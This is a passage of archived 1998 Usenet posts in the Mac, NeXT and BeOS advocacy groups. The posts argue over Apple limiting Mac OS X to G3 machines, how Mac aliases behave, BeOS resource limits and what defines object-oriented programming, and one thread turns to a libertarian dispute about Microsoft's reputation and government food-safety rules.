Aliases aren't cleaned up when all copies of original item have been
deleted.
There are just a few examples...
>In many situations, they can even work when you reformat a drive with a
>new name and then restore the old hierarchy of files and directories.
That's only because the file ID numbers were preserved in the backup.
I'd also like to see Aliases available for use for more things than just
file system items. URL's should always be represented as Aliases, I should
be able to have an Alias to a location in a document (like a bookmark),
etc., etc.
--Ed.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 07:29:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p1g11$dfd$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <MPG.101d9ceeeab350e89899d4@news.supernews.com>
In article <MPG.101d9ceeeab350e89899d4@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> If you were convinced that Apple had a 50% chance of completely going
> down the tubes if they try to expand OS-X to cover all PowerMacs, would
> you ask them to do so?
No, I wouldn't because I care about Apple's survival. But really, it's
Apple's job to go the extra mile to build customer loyalty not my job to
understand why they can't deliver on their promises.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 00:13:56 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2107980013570001@sdn-ar-001casbarp248.dialsprint.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com>
In article <not-2007982335410001@ip-26-018.phx.primenet.com>,
eilersm@psn.net wrote:
> When the 99 Lexus comes out with heated seats and extra chrome, do you
> drive your '97 to the dealer and demand an upgrade?
Well it depends. When I bought the 97 lexus, did lexus say "you will get
a 99 upgrade".
People are pissed because when they bought their machine they had apple's
word that it would run the advanced os. Now if you want to argue that 8.1
fullfills what apple said, thats one thing, but dont make such bogus
examples where nothing was promised to the car buying public
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dchlll.1obg66ufmmorvN@dialup112-2-8.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6p08cc$acn$1@news.cs.tu-berlin.de>
Organization: pv
Date: Tue, 21 Jul 1998 07:49:00 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 09:49:00 MET DST
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> lars.farm@ite.mh.se (Lars Farm) writes:
>
> >Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> >> It differs in that there is no reference to ADTs. More importanty,
> >> there is no visible class as an intrinisc object property. Externally
> >> visible classification is only via observed behavior, i.e. the ability
> >> to respond to certain messages (grouped into named protocols/interfaces).
What do you mean by "observed behaviour"? I never said so explicitly,
but I define an operation (behaviour) by its pre- and postconditions.
Unless we consider class when matching methods and if ability to respond
to a message is the only distinguishing property, I suppose these are
pairwise the same operations?
struct Game { void Play(); };
struct MusicCD { void Play(); };
struct Shape { void Draw(); };
struct Cowboy { void Draw(); };
struct LoveAffair { void Start(); };
struct NuclearWar { void Start(); };
> >But, but ... ? Is it just the name ADT? For some reason this makes me
> >think of H C Anderson and emperors and clothes ;-)
>
> Nope, if you read the part after 'More importanty' (typo and all :-),
> you *should* be able to see what that difference is. The name is
> just symptomatic.
Remember that I asked you to describe the basic idea, the essential core
of OO. If what you describe isn't there then it is not OO.
Your first reply didn't state your requirement very clearly. Anyway, I
missed it. One might interpret your clarification as:
Class can not/must not be considered for method matching.
It suffices that an object can perform the operation, that
it can receive the message.
In practice, this requires a dynamic language. So it is impossible to
write an OO program in Eiffel? Have you told Bertrand Meyer?
Let's just say that I disagree. I consider dynamism orthogonal to OO.
Depending on your preferences and domain, it may or may not be a good
language property, but this is not specific to OO and not something that
distinguishes OO from other ways of organizing programs. There are
plenty of non-OO dynamic languages.
Since you've referred to Alan Kay twice, I assume this is a requirement
put forward by him. If so, then he seems to be the same kind of
provocative person as Meyer is. Meyer has Garbage Collection as one
requirement for OO (what does Alan Kay say about GC?). Meyer claims that
without GC it is not, and can not be OO. I am very strongly in favour of
GC, but I think he is overstating it. GC is useful and strongly
recommended in ANY kind of language. GC is not a distinguishing property
of OO and therefore not at the essential core of OO.
Also, if the granularity of matching is the method then one might argue
that the basic building block is the method, not the object. You get
something more like method oriented programming or using a more common
term - procedural programming. Interesting ;-)
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 21 Jul 1998 07:40:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p1gld$eam$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <forrestDELETE-THIS!-1807981526100001@term3-17.vta.west.net> <6orngk$5rt$1@nnrp1.dejanews.com> <alex-1907982054430001@castle.webis.net> <6oungt$dg8$1@nnrp1.dejanews.com> <alex-2007981902450001@castle.webis.net>
In article <alex-2007981902450001@castle.webis.net>,
alex@webis.net (Alex Kac) wrote:
> Now as far as making movable modal dialox boxes:
> Basically you have the same code as a normal modal dialog, change the
> resource to the movable modal (DLOG resource), add a DLGX resource for
> Appearance support, and then provide a filterproc for update events.
There has to be more to it than this. How does the dialog interact with your
event loop? And, BTW, 'DLGX' resources are used by Resourcerer and not the
dialog manager.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 07:57:41 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6p1hll$f44$1@news10.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p022p$8s1$1@news.spacelab.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
NNTP-Posting-Date: 21 Jul 1998 07:57:41 GMT
"Charles W. Swiger" <chuck@codefab.com> :
> Corey <corey@virtual-impact.com> wrote:
> >And if you really want to get down to it, it's probably pretty reasonable
> >to limit the amount of open windows down to a *mere* 200 - I mean, any
> >program that produces more than just a couple handfulls should be shot
> >and killed on the spot.
>
> I don't like software that comes with arbitrary limitations. It tends to
> be
> indicative of sloppy design and lazy (in the negative sense) programmers.
> Still, you are right that this limitation of the BeOS is very unlikely to
> affect reasonable situations.
And in this example, its not an arbitrary limitation.
--
--Woohoo, this message posted from BeOS!
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 07:58:15 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6p1hmn$mv3$2@news2.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu> <6p0me6$qrb$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720174226.8608V-100000@rainier.virtual-impact.com>
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NNTP-Posting-Date: 21 Jul 1998 07:58:15 GMT
Corey <corey@virtual-impact.com> :
> On 21 Jul 1998, Kenneth C. Dyke wrote:
> > Actually, in this case it's just a matter of allowing more control over
> > thread setup, which seems simple enough to me. I'm not sure why it
> > hasn't been done yet, since this problem was reported at least as far
> > back as DR8 or so. It (or a related bug) got marked as 'will not fix'
> > if I remember right. You can draw your own conclusions from that I
> > guess.
>
> Why the hell wouldn't they want to fix that? Interesting, and a bit
> disapointing.
Because they have much better things to do with their time that fix obscure,
won't happen in real life, limitations.
--
--Woohoo, this message posted from BeOS!
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 07:57:46 GMT
Organization: 3
Message-ID: <6p1hlq$f44$2@news10.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com>
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NNTP-Posting-Date: 21 Jul 1998 07:57:46 GMT
kcd@babylon5.jumpgate.com (Kenneth C. Dyke) :
>
> Honestly? Well, 1024+ windows didn't seem to be a problem, and I had
> plenty of memory and CPU power to go..... my OS doesn't require 2x
> physical memory's worth of swap space right off the bat, I can have as
> many threads or semaphores or ports as I have memory for as far as I
> know, etc.
Are you implying that BeOS requires "2x physical memory's worth of swap space
right off the bat"?
--
--Woohoo, this message posted from BeOS!
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go
Date: 21 Jul 1998 07:58:11 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6p1hmj$mv3$1@news2.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <35B43394.B713C776@scirocco.bbn.hp.com>
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NNTP-Posting-Date: 21 Jul 1998 07:58:11 GMT
Joerg Stegemann <stegeman@scirocco.bbn.hp.com> :
> Corey wrote:
> > And if you really want to get down to it, it's probably pretty reasonable
> > to limit the amount of open windows down to a *mere* 200 - I mean, any
> > program that produces more than just a couple handfulls should be shot
> > and killed on the spot.
>
> When every off-screen bitmap uses a thread then you don't need 200 visible
> windows, one app that uses a lot of off-screen bitmaps (games maybe ?)
> can get you into trouble very easily.
If you plan on having a ton of off-screen bitmaps, then choose the right tool
for the job, not a BBitmap that uses a thread.
--
--Woohoo, this message posted from BeOS!
From: kewldoc@hotmail.com (Henry C. Maglente)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 14:00:40 +0800
Organization: UE College of Medicine
Message-ID: <kewldoc-2107981400410001@42.0.17.176.203.in-addr.arpa>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se> <6ot3cc$n4h$4@ironhorse.plsys.co.uk> <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <MPG.101d0026256527109899cd@news.supernews.com>
In article <MPG.101d0026256527109899cd@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se>,
> Jonas.Palm@orgk1.lu.se says...
> > There is no good technical reason not to support MacOS X on Tsunami macs
> > and you know it. It is a marketing decision. An attempt to bring people
> > to buy new Apple hardware quicker in order to get off an obsolete OS.
> > It will be successful short term, and bad in the long term. One
> > part of the user-base will take the bait and migrate quicker than they
> > would have done otherwise. But another part will not, and will be
> > justifiably angry that Apple did this to them. Short term the sales of
> > new systems will look good, but long term the user-base will shrink,
> > which is death.
> >
Who says long term user-base will shrink ? Do we know this for sure ?
Apple needs quick decisions and deliver superior products efficiently
(which, sadly, they still can't do). Look at what happened to Copeland.
They tried to make it work for everybody and it lead them to nowhere. How
many years was it in development ? Apple looked stupid running around
making promises that they knew they couldn't keep. Look at how many
product lines there were and it still didn't improve the user base. They
tried pleasing everyone and ended up pleasing no one.
Finally, a decision has been made to move forward. Yes, Jobs has taken
quite a considerable risk in alienating a good portion of its users. But
its a risk that Apple seems to be willing to take. If they feel that they
can quickly provide a more superior OS on a superior machine (the G3) then
they should go do it. Forget the stagnant past. Move ahead in full-gear.
Users want computers with POWER. Apple has that with the G3 - now it needs
an OS to match that power. If Apple feels that delaying an OS just for the
sake of making some older computers run on it will delay their progress -
then FORGET the old computers. When next generation G3 computers come out,
who would want to run OS X on an old Tsunami Mac ? People will be so
impressed with the new OS and hardware, they'll forget the past.
I for one think that Apple is headed in the right direction. Move forward.
Forget making decisions that will only stagnate the progress of the
company. Imagine how many people will move to the Mac platform because
they see the superior processor and OS. In today's competitive world, time
is of the essence. Apple doesn't have alot of time. They need to be there
when computer demand heats up again. Apple needs to make some big changes
and make alot of noise before they get lost in the sea of wintel machines.
> There most certainly are good technical reasons to not support MacOS X on
> Tsunami macs and particularly good reasons not to certify it. As someone
> who has run a software business, you know that that (a) resources are
> limited, and (b) testing takes resources.
>
> And if they DO support Tsunami macs...the demands won't stop there.
>
> I'm not thrilled by the decision to only support the G3. I really wish
> things were otherwise. But, this isn't the Apple that tackled Copeland,
> they aren't able to do everything they'd like to do.
>
> Donald
All this whining about the new OS only supporting the G3's is reminiscent
of when Apple decided to dump the Apple IIgs and go totally with the Mac.
I'm sure there were alot of angry schools when this moved happened...I
know my school was. One lab full of unsupported machines. I can understand
where many users are angry and feel betrayed. Even so the developers that
were banking on Rhapsody. But hey, business is business. If Apple really
thinks that the future is with the G3 and with the new OS, then they have
to make their move to SURVIVE. I read one post where a guy wanted to see
OS X development for his 040. Why ? Just so that his machine isn't
"obsolete." Kinda selfish isn't it to expect Apple to make a decision
based on making everyone happy rather than surviving and expanding market
share. ?
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 01:06:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p0pif$bnq$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <6p0aht$mrk$1@nntp6.u.washington.edu>
In article <6p0aht$mrk$1@nntp6.u.washington.edu>,
gwangung@u.washington.edu (R. Tang) wrote:
> The part people keep forgetting to mention is under what time
> frame using what kind of resources.
Again, why should I care what kind of resources it requires. Apple said that
I would get to run their "next generation" operating system on my 6100.
Should I have done a study to determine what kind of resources they would
need to do that and then estimated if they would be willing to commit those
resources to the project? Of course not. Apple said that they would do
something so, baring alien insects taking over the Earth or Apple going out
of buisness, they should do it.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Mon, 20 Jul 1998 23:57:08 -0500
Organization: EarthLink Network, Inc.
Message-ID: <6p175g$du5$1@ash.prod.itd.earthlink.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <35B40129.7D50@digital.net> <35b414c4.0@news.depaul.edu>
Jonathan W Hendry wrote in message <35b414c4.0@news.depaul.edu>...
> *IBM* couldn't even introduce a new OS successfully, and theirs ran
>Windows apps on Intel PC's.
I wouldn't say that, as it was really a case of IBM *not* wanting to
do so....They didn't put the effort into it..
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 20 Jul 1998 21:55:02 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35B3AE2D.4D90@earthlink.net>
References: <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <B1D929AE-A3562@206.165.43.162> <joe.ragosta-2007982116060001@elk57.dol.net>
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To: Joe Ragosta <joe.ragosta@dol.net>
Joe Ragosta wrote:
> Why is that wrong? Every indication is that the 7300 will run Rhapsody
> just fine.
But while Mac OS X Server is really Rhapsody 1.0, ...since they changed
the name, they can say that only G3's are supported. I really hope all
is well and that pre-G3 machines (like my 9500) CAN run it. There's
just no telling until it's actually out. They could have just pulled a
bait and switch.
Steve
-------------------------------------------------------------
Support pre-G3's with Mac OS X!!!!!!
http://www.xlr8yourmac.com/osx_petition.html
-------------------------------------------------------------
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 20 Jul 1998 21:49:47 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35B3ACF3.6D31@earthlink.net>
References: <MPG.101d9ceeeab350e89899d4@news.supernews.com> <B1D93BDE-E7B9B@206.165.43.162>
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To: Lawson English <english@primenet.com>
You said it!!
Steve
-------------------------------------------------------------
Support pre-G3's with Mac OS X!!!!!!
http://www.xlr8yourmac.com/osx_petition.html
-------------------------------------------------------------
Lawson English wrote:
> The engineers in charge of this project, with 1/100th the budget, managed
> to get the NeXTstep OS working on a reasonable subset of the plethora of
> WIntel systems, AND their own hardware of all generations AND at least one
> or two other hardware platforms from other manufacturers besides.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 22:01:24 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35B3AFAA.16BA@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <id_est-2007982313050001@192.168.1.3>
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tse_di wrote:
> The distinction is that the chips that control things like the the SCSI,
> PCI, ADB, Video, memory and other things ARE different.
But Apple made the damn things! If anyone can support these things its
Apple! It's not like getting Dell to right some driver for a HP...It's
their own design!
Steve
-------------------------------------------------------------
Support pre-G3's with Mac OS X!!!!!!
http://www.xlr8yourmac.com/osx_petition.html
-------------------------------------------------------------
From: "Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Tue, 21 Jul 1998 04:51:11 -0500
Organization: EarthLink Network, Inc.
Message-ID: <6p1oe1$c35$1@birch.prod.itd.earthlink.net>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au>
Christopher Smith wrote in message <6p1ill$6s3$1@bunyip.cc.uq.edu.au>...
>>Are you implying that BeOS requires "2x physical memory's worth of >>swap
space right off the bat"?
>Well, you can't set the swap to *less* than that, although if you
>physically don't have that much space on your BeOS partition it might >use
less.
Which is not because the OS can't handle it, but because Be made a
"bad" choice in the configuration options. Hopefully the numerous
complaints about it will lead them to solve the problem soon enough..
If not, there's always the rolled-up newspaper and chokechain. }:+)
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 20 Jul 1998 21:16:40 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2007982116410001@128.84.203.147>
References: <3593EEF0.4785E327@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <JWMs1.1091$E5.6247799@proxye1.san.rr.com>
In article <JWMs1.1091$E5.6247799@proxye1.san.rr.com>, "Ed Deans."
<eadeans@san.rr.com> wrote:
> Aliases are "dumb"--not working across volumes.
What exactly do you mean by this? Aliases work across volumes and file
servers too.
In many situations, they can even work when you reformat a drive with a
new name and then restore the old hierarchy of files and directories.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Tue, 21 Jul 1998 00:20:18 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B42512.B4309896@nstar.net>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <Jeur1.4033$24.23345884@news.itd.umich.edu> <35AE772F.B35DEA51@ericsson.com> <slrn6qt8uh.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AEF495.EEEF2844@nstar.net> <slrn6r6m6e.9fc.sal@panix3.panix.com>
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NNTP-Posting-Date: 21 Jul 1998 05:30:39 GMT
Salvatore Denaro wrote:
>
> On Fri, 17 Jul 1998 06:52:05 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
> >Prosecution is settled through fines. Loss of reputation means a loss of
> >business, which can kill a company. Apple is a case in point. So is
> >Microsoft.
>
> Huh? Microsoft has a horrid reputation, and it hasn't stopped them at
> all.
Wrong. To people who don't respect Microsoft, Microsoft doesn't do well.
That's the point. Reputation is hurting Microsoft constantly (among a
growing group of people). Naturally, many people don't feel Microsoft
has poor repute, and they are satisfied with buying Microsoft. Measuring
the results of a company's reputation in *your* eyes against the actions
of others is just one example of arrogance.
> GE has a reputation for killing off its employees with irresponsible
> workplace safety mismanagement, yet when you ask someone about GE; the
> phrase "we bring good things to life"
Who are you asking? Potential employees or GE customers? Two totally
different issues. TI has a poor reputation in the Dallas area for
isolated cases of poor employee treatment, and it affects their ability
to hire new employees. Regardless, that doesn't mean anything whatsoever
to the customer buying TI products. I had a teacher who worked for TI
and hated the company for its employment policies. He turned around and
suggested we all buy TI calculators for the class.
Not everybody has difficulty keeping the issues in their proper
contexts. Look into it.
[cut - blah blah blah]
> >Exactly. That's a question we should all be asking,
>
> In areas when the private sector has stepped in an managed things for
> itself, goverment has been very amenable about it. The USDA has handed
> over safty check to private sector groups before (Georgia peaches are
> inspected by a private sector group, IIRC)
According to federal regulations? Under penalty of federal statutes if
the job is done improperly? That's the equivalent of subcontracting or
outsourcing, which the government does constantly. Totally different
issue.
> Why should someone be allowed to sell food that would make someone
> sick?
This is the standard way of phrasing questions that are intended as
rhetorical demonstrations of the "need for government". We used to do
this at home when I was living with my parents, just for fun at dinner.
"How can we stand around doing nothing when children are starving to
death?"
"What right do we have to own houses when some people live in cardboard
boxes?"
That's the idea. One of my favorite quotes (for the sake of a good
laugh) is the old Mitch What's-his-name quote that goes something like
"If you own two pairs of shoes, you are a thief".
> How much do you know about food safety?
Oh, this is rich. I have to demonstrate intimate knowledge of
food-safety issues before I can make a principled decision? Presumably,
if I knew as much as you about food safety (God alone knows how much
that is), I would be willing to grant the issue all sorts of exceptions,
right?
At any rate, I know enough about "food safety" to put the issue into
context as a matter of policy. But I'm curious: what exactly did you
want to discuss?
> IIRC, the USDA is in charge of produce and meat. And prior to the
> USDA guidelines there was no uniformed measure of quality.
I don't get your point. Is lack of a "uniform measure of quality"
terrible? Perhaps you mean that we need something like an Open Meat
Purity Standard? Yes, and we could issue an RFC -- oh wait, government
doesn't want your opinion -- and we could encourage vendors to adopt it
-- oh wait, government doesn't "encourage adoption", it mandates it --
and we could all just buy from OMPS-compliant companies -- oh wait, you
couldn't operate a business at all if you didn't abide by government
statutes.
Sounds great. When will you and the Meat Gestapo be coming 'round to
check my freezer for home-dressed venison and my computer for Microsoft
software?
